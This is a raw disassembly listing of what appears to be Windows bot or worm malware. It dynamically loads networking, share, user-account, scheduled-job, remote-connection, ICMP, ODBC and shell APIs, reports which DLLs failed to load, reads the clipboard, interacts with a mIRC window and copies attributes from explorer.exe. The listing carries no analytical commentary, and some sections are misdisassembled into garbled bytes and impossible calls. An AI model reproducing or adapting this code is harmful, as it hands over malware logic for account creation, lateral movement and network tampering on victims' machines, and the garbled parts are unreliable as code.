push offset aAccept ; "accept"
push edi
mov ds:dword_4307BC, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov ds:dword_430824, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov ds:dword_430774, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov ds:dword_43073C, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov ds:dword_4307A8, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov ds:dword_430814, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov ds:dword_430750, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov ds:dword_4306FC, eax
call esi
cmp ds:dword_430718, ebx
mov ds:dword_430828, eax
jz loc_4064EB
cmp ds:dword_430834, ebx
jz loc_4064EB
cmp ds:dword_4306C0, ebx
jz loc_4064EB
cmp ds:dword_430744, ebx
jz loc_4064EB
cmp ds:dword_430730, ebx
jz loc_4064EB
cmp ds:dword_430700, ebx
jz loc_4064EB
cmp ds:dword_430810, ebx
jz loc_4064EB
cmp ds:dword_43082C, ebx
jz loc_4064EB
cmp ds:dword_430740, ebx
jz loc_4064EB
cmp ds:dword_43081C, ebx
jz loc_4064EB
cmp ds:dword_4307D0, ebx
jz loc_4064EB
cmp ds:dword_430794, ebx
jz loc_4064EB
cmp ds:dword_430790, ebx
jz loc_4064EB
cmp ds:dword_4306E0, ebx
jz short loc_4064EB
cmp ds:dword_4307E0, ebx
jz short loc_4064EB
cmp ds:dword_4307F4, ebx
jz short loc_4064EB
cmp ds:dword_4307AC, ebx
jz short loc_4064EB
cmp ds:dword_43076C, ebx
jz short loc_4064EB
cmp ds:dword_4307C0, ebx
jz short loc_4064EB
cmp ds:dword_43077C, ebx
jz short loc_4064EB
cmp ds:dword_4307BC, ebx
jz short loc_4064EB
cmp ds:dword_430824, ebx
jz short loc_4064EB
cmp ds:dword_430774, ebx
jz short loc_4064EB
cmp ds:dword_43073C, ebx
jz short loc_4064EB
cmp ds:dword_4307A8, ebx
jz short loc_4064EB
cmp ds:dword_430814, ebx
jz short loc_4064EB
cmp ds:dword_430750, ebx
jz short loc_4064EB
cmp eax, ebx
jnz short loc_4064F5
jmp short loc_4064EB
; ---------------------------------------------------------------------------
loc_4064E0: ; CODE XREF: sub_405D8E+4A7j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_430874, eax
loc_4064EB: ; CODE XREF: sub_405D8E+646j
; sub_405D8E+652j ...
mov ds:dword_430870, 1
loc_4064F5: ; CODE XREF: sub_405D8E+74Ej
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4065FA
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov ds:dword_4306E8, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov ds:dword_430678, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov ds:dword_430760, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov ds:dword_43071C, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov ds:dword_430768, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov ds:dword_430734, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov ds:dword_4306B4, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov ds:dword_4306AC, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov ds:dword_4306BC, eax
call esi
cmp ds:dword_4306E8, ebx
mov ecx, ds:dword_430734
mov ds:dword_4307C4, eax
jz short loc_4065D6
cmp ds:dword_430678, ebx
jz short loc_4065D6
cmp ds:dword_430760, ebx
jz short loc_4065D6
cmp ds:dword_43071C, ebx
jz short loc_4065D6
cmp ds:dword_430768, ebx
jz short loc_4065D6
cmp ecx, ebx
jz short loc_4065D6
cmp ds:dword_4306B4, ebx
jz short loc_4065D6
cmp ds:dword_4306AC, ebx
jz short loc_4065D6
cmp ds:dword_4306BC, ebx
jz short loc_4065D6
cmp eax, ebx
jnz short loc_4065E0
loc_4065D6: ; CODE XREF: sub_405D8E+806j
; sub_405D8E+80Ej ...
mov ds:dword_430878, 1
loc_4065E0: ; CODE XREF: sub_405D8E+846j
cmp ecx, ebx
jz short loc_406615
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov ds:dword_430748, eax
jnz short loc_406615
jmp short loc_40660F
; ---------------------------------------------------------------------------
loc_4065FA: ; CODE XREF: sub_405D8E+772j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_43087C, eax
mov ds:dword_430878, 1
loc_40660F: ; CODE XREF: sub_405D8E+86Aj
mov ds:dword_430748, ebx
loc_406615: ; CODE XREF: sub_405D8E+854j
; sub_405D8E+868j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40665F
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov ds:dword_430728, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov ds:dword_430848, eax
call esi
cmp ds:dword_430728, ebx
mov ds:dword_4306C8, eax
jz short loc_40666A
cmp ds:dword_430848, ebx
jz short loc_40666A
cmp eax, ebx
jnz short loc_406674
jmp short loc_40666A
; ---------------------------------------------------------------------------
loc_40665F: ; CODE XREF: sub_405D8E+892j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_430884, eax
loc_40666A: ; CODE XREF: sub_405D8E+8C1j
; sub_405D8E+8C9j ...
mov ds:dword_430880, 1
loc_406674: ; CODE XREF: sub_405D8E+8CDj
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40676A
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov ds:dword_4306A4, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov ds:dword_430680, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov ds:dword_4306F0, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov ds:dword_430720, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov ds:dword_430820, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov ds:dword_4306DC, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov ds:dword_430688, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov ds:dword_43067C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov ds:dword_430708, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov ds:dword_4307E8, eax
call esi
cmp ds:dword_4306A4, ebx
mov ds:dword_4307A4, eax
jz short loc_406775
cmp ds:dword_430680, ebx
jz short loc_406775
cmp ds:dword_4306F0, ebx
jz short loc_406775
cmp ds:dword_430720, ebx
jz short loc_406775
cmp ds:dword_430820, ebx
jz short loc_406775
cmp ds:dword_4306DC, ebx
jz short loc_406775
cmp ds:dword_430688, ebx
jz short loc_406775
cmp ds:dword_43067C, ebx
jz short loc_406775
cmp ds:dword_430708, ebx
jz short loc_406775
cmp ds:dword_4307E8, ebx
jz short loc_406775
cmp eax, ebx
jnz short loc_40677F
jmp short loc_406775
; ---------------------------------------------------------------------------
loc_40676A: ; CODE XREF: sub_405D8E+8F1j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_43088C, eax
loc_406775: ; CODE XREF: sub_405D8E+98Cj
; sub_405D8E+994j ...
mov ds:dword_430888, 1
loc_40677F: ; CODE XREF: sub_405D8E+9D8j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4067B4
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov ds:dword_4306CC, eax
call esi
cmp ds:dword_4306CC, ebx
mov ds:dword_43078C, eax
jz short loc_4067BF
cmp eax, ebx
jnz short loc_4067C9
jmp short loc_4067BF
; ---------------------------------------------------------------------------
loc_4067B4: ; CODE XREF: sub_405D8E+9FCj
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_430894, eax
loc_4067BF: ; CODE XREF: sub_405D8E+A1Ej
; sub_405D8E+A24j
mov ds:dword_430890, 1
loc_4067C9: ; CODE XREF: sub_405D8E+A22j
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4067FE
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov ds:dword_43080C, eax
call esi
cmp ds:dword_43080C, ebx
mov ds:dword_430808, eax
jz short loc_406809
cmp eax, ebx
jnz short loc_406813
jmp short loc_406809
; ---------------------------------------------------------------------------
loc_4067FE: ; CODE XREF: sub_405D8E+A46j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_43089C, eax
loc_406809: ; CODE XREF: sub_405D8E+A68j
; sub_405D8E+A6Ej
mov ds:dword_430898, 1
loc_406813: ; CODE XREF: sub_405D8E+A6Cj
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_406872
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov ds:dword_430838, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov ds:dword_430830, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov ds:dword_4307F8, eax
call esi
cmp ds:dword_430838, ebx
mov ds:dword_4306E4, eax
jz short loc_40687D
cmp ds:dword_430830, ebx
jz short loc_40687D
cmp ds:dword_4307F8, ebx
jz short loc_40687D
cmp eax, ebx
jnz short loc_406887
jmp short loc_40687D
; ---------------------------------------------------------------------------
loc_406872: ; CODE XREF: sub_405D8E+A90j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_4308A4, eax
loc_40687D: ; CODE XREF: sub_405D8E+ACCj
; sub_405D8E+AD4j ...
mov ds:dword_4308A0, 1
loc_406887: ; CODE XREF: sub_405D8E+AE0j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4068BC
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov ds:dword_430714, eax
call esi
cmp ds:dword_430714, ebx
mov ds:dword_430804, eax
jz short loc_4068C7
cmp eax, ebx
jnz short loc_4068D1
jmp short loc_4068C7
; ---------------------------------------------------------------------------
loc_4068BC: ; CODE XREF: sub_405D8E+B04j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_4308AC, eax
loc_4068C7: ; CODE XREF: sub_405D8E+B26j
; sub_405D8E+B2Cj
mov ds:dword_4308A8, 1
loc_4068D1: ; CODE XREF: sub_405D8E+B2Aj
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40695A
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov ds:dword_4307CC, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov ds:dword_430818, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov ds:dword_43075C, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov ds:dword_430724, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov ds:dword_4307B0, eax
call esi
cmp ds:dword_4307CC, ebx
mov ds:dword_43072C, eax
jz short loc_406965
cmp ds:dword_430818, ebx
jz short loc_406965
cmp ds:dword_43075C, ebx
jz short loc_406965
cmp ds:dword_430724, ebx
jz short loc_406965
cmp ds:dword_4307B0, ebx
jz short loc_406965
cmp eax, ebx
jnz short loc_40696F
jmp short loc_406965
; ---------------------------------------------------------------------------
loc_40695A: ; CODE XREF: sub_405D8E+B4Ej
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_4308B4, eax
loc_406965: ; CODE XREF: sub_405D8E+BA4j
; sub_405D8E+BACj ...
mov ds:dword_4308B0, 1
loc_40696F: ; CODE XREF: sub_405D8E+BC8j
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_405D8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406977 proc near ; CODE XREF: seg000:0040DA50p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp ds:dword_430850, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_4069BF
push ds:dword_430854
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_4069BF: ; CODE XREF: sub_406977+1Aj
cmp ds:dword_430858, esi
jz short loc_4069F3
push ds:dword_43085C
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_4069F3: ; CODE XREF: sub_406977+4Ej
cmp ds:dword_430860, esi
jz short loc_406A27
push ds:dword_430864
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406A27: ; CODE XREF: sub_406977+82j
cmp ds:dword_430868, esi
jz short loc_406A5B
push ds:dword_43086C
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406A5B: ; CODE XREF: sub_406977+B6j
cmp ds:dword_430870, esi
jz short loc_406A8F
push ds:dword_430874
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406A8F: ; CODE XREF: sub_406977+EAj
cmp ds:dword_430878, esi
jz short loc_406AC3
push ds:dword_43087C
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406AC3: ; CODE XREF: sub_406977+11Ej
cmp ds:dword_430880, esi
jz short loc_406AF7
push ds:dword_430884
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406AF7: ; CODE XREF: sub_406977+152j
cmp ds:dword_430888, esi
jz short loc_406B2B
push ds:dword_43088C
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406B2B: ; CODE XREF: sub_406977+186j
cmp ds:dword_430890, esi
jz short loc_406B5F
push ds:dword_430894
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406B5F: ; CODE XREF: sub_406977+1BAj
cmp ds:dword_430898, esi
jz short loc_406B93
push ds:dword_43089C
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406B93: ; CODE XREF: sub_406977+1EEj
cmp ds:dword_4308A0, esi
jz short loc_406BC7
push ds:dword_4308A4
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406BC7: ; CODE XREF: sub_406977+222j
cmp ds:dword_4308A8, esi
jz short loc_406BFB
push ds:dword_4308AC
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406BFB: ; CODE XREF: sub_406977+256j
cmp ds:dword_4308B0, esi
jz short loc_406C2F
push ds:dword_4308B4
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41050B
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 20h
loc_406C2F: ; CODE XREF: sub_406977+28Aj
lea eax, [ebp+var_200]
push offset dword_420E94
push eax
call sub_41050B
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_406C5C
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40E367
add esp, 14h
loc_406C5C: ; CODE XREF: sub_406977+2CEj
lea eax, [ebp+var_200]
push eax
call sub_407E0E
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_406977 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C6E proc near ; CODE XREF: seg000:00409D0Ep
; seg000:00409D3Cp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_406CF9
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_406CF9
cmp [ebp+arg_8], esi
jz short loc_406CF9
cmp byte ptr [eax], 0
jz short loc_406CF9
push ebx
push edi
call sub_41AC6E
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_406CF4
push [ebp+arg_4]
push edi
call sub_410AE0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_406CED
sub eax, edi
push eax
push edi
push ebx
call sub_411D00
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_410B60
push eax
push [ebp+arg_8]
push ebx
call sub_411ED0
push [ebp+arg_4]
call sub_410B60
add eax, esi
push eax
push ebx
call sub_411B80
push ebx
push edi
call sub_411B70
add esp, 30h
mov esi, edi
loc_406CED: ; CODE XREF: sub_406C6E+3Cj
push ebx
call sub_410C83
pop ecx
loc_406CF4: ; CODE XREF: sub_406C6E+2Bj
mov eax, esi
pop ebx
jmp short loc_406CFB
; ---------------------------------------------------------------------------
loc_406CF9: ; CODE XREF: sub_406C6E+Cj
; sub_406C6E+13j ...
xor eax, eax
loc_406CFB: ; CODE XREF: sub_406C6E+89j
pop edi
pop esi
pop ebp
retn
sub_406C6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406CFF proc near ; CODE XREF: sub_409218+E9p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_410590
mov esi, [ebp+arg_0]
push esi
call sub_410B60
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_406D35
or eax, 0FFFFFFFFh
jmp short loc_406DA8
; ---------------------------------------------------------------------------
loc_406D35: ; CODE XREF: sub_406CFF+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_406D57
loc_406D41: ; CODE XREF: sub_406CFF+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_406D4E
cmp dl, 0Dh
jnz short loc_406D52
loc_406D4E: ; CODE XREF: sub_406CFF+48j
and byte ptr [ecx+esi], 0
loc_406D52: ; CODE XREF: sub_406CFF+4Dj
inc ecx
cmp ecx, eax
jl short loc_406D41
loc_406D57: ; CODE XREF: sub_406CFF+40j
xor edx, edx
push edi
test eax, eax
jle short loc_406D88
lea edi, [ebp+var_7CC]
loc_406D64: ; CODE XREF: sub_406CFF+87j
cmp byte ptr [edx+esi], 0
jnz short loc_406D83
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_406D83
cmp ebx, 1F4h
jge short loc_406D88
mov [edi], ecx
inc ebx
add edi, 4
loc_406D83: ; CODE XREF: sub_406CFF+69j
; sub_406CFF+74j
inc edx
cmp edx, eax
jl short loc_406D64
loc_406D88: ; CODE XREF: sub_406CFF+5Dj
; sub_406CFF+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_406DA6
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_4105F0
add esp, 0Ch
loc_406DA6: ; CODE XREF: sub_406CFF+8Ej
mov eax, ebx
loc_406DA8: ; CODE XREF: sub_406CFF+34j
pop esi
pop ebx
leave
retn
sub_406CFF endp
; =============== S U B R O U T I N E =======================================
sub_406DAC proc near ; CODE XREF: sub_406E06+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_406DE5
push ebx
mov ebx, edi
loc_406DC9: ; CODE XREF: sub_406DAC+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_406DE8
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_406DC9
pop ebx
loc_406DE5: ; CODE XREF: sub_406DAC+18j
pop edi
pop esi
retn
sub_406DAC endp
; =============== S U B R O U T I N E =======================================
sub_406DE8 proc near ; CODE XREF: sub_406DAC+25p
; sub_406E06+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_412027
cmp al, 61h
pop ecx
jl short loc_406E03
cmp al, 7Ah
jg short loc_406E03
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_406E03: ; CODE XREF: sub_406DE8+Ej
; sub_406DE8+12j
xor eax, eax
retn
sub_406DE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406E06 proc near ; CODE XREF: sub_407EEE+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_410BE0
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_410B60
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_410B60
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_406DAC
add esp, 14h
dec esi
mov edi, esi
loc_406E44: ; CODE XREF: sub_406E06+B6j
test esi, esi
jle short loc_406EC2
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_412027
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_412027
pop ecx
cmp eax, ebx
pop ecx
jz short loc_406EBA
loc_406E6A: ; CODE XREF: sub_406E06+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_406DE8
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_406E8B
mov eax, ecx
loc_406E8B: ; CODE XREF: sub_406E06+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_406EBE
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_412027
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_412027
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_406E6A
loc_406EBA: ; CODE XREF: sub_406E06+62j
dec edi
dec esi
jmp short loc_406E44
; ---------------------------------------------------------------------------
loc_406EBE: ; CODE XREF: sub_406E06+8Aj
xor eax, eax
jmp short loc_406EC7
; ---------------------------------------------------------------------------
loc_406EC2: ; CODE XREF: sub_406E06+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_406EC7: ; CODE XREF: sub_406E06+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_406E06 endp
; ---------------------------------------------------------------------------
loc_406ECC: ; CODE XREF: seg000:0040C642p
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_41C068 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp-100h]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 3E0000h
mov ebp, 0FF00858Dh
; ---------------------------------------------------------------------------
db 0FFh
dd 80088AFFh, 57F1FF9h, 7509F980h, 0F1EB4003h, 48002080h
dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h, 21F980EBh
dd 858DE67Ch, 0FFFFFF00h, 0C0BE5056h, 0FF004308h, 18680875h
dd 68004210h, 200h, 9B3CE856h, 0C4830000h, 5EC68B18h
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_406F56 proc near ; CODE XREF: seg000:0040DA23p
push esi
push 0
call ds:dword_430764 ; OpenClipboard
test eax, eax
jz short loc_406F8D
push 1
call ds:dword_430784 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_406F8D
push edi
push esi
call ds:dword_41C0C0 ; GlobalLock
push esi
mov edi, eax
call ds:dword_41C0BC ; GlobalUnlock
call ds:dword_4307E4 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_406F8D: ; CODE XREF: sub_406F56+Bj
; sub_406F56+19j
xor eax, eax
pop esi
retn
sub_406F56 endp
; =============== S U B R O U T I N E =======================================
sub_406F91 proc near ; CODE XREF: seg000:0040CF56p
var_4 = dword ptr -4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call ds:dword_4307A0 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_40700D
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 3E0000h
sub [esi+56h], edx
mov edi, eax
push esi
push 0F001Fh
push edi
call near ptr 3E0000h
pop ecx
push [esp+18h+var_4]
mov ebx, eax
push ebx
call sub_41050B
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call ds:dword_4307EC ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call ds:dword_4307EC ; SendMessageA
push ebx
call near ptr 3E0000h
db 67h
push edi
call ds:dword_41C070 ; CloseHandle
push 1
pop eax
pop ebx
jmp short loc_40700F
; ---------------------------------------------------------------------------
loc_40700D: ; CODE XREF: sub_406F91+16j
xor eax, eax
loc_40700F: ; CODE XREF: sub_406F91+7Aj
pop edi
pop esi
pop ebp
retn
sub_406F91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407013 proc near ; CODE XREF: seg000:00408D01p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call ds:dword_43084C ; SearchPathA
test eax, eax
jz short loc_4070B2
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_41C078
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_4070B2
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call near ptr 12F0004h
out dx, eax
push ebx
loc_40707A: ; DATA XREF: seg002:0041EBA0o
; seg002:0041EBB4o ...
mov ebx, ds:dword_41C070
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
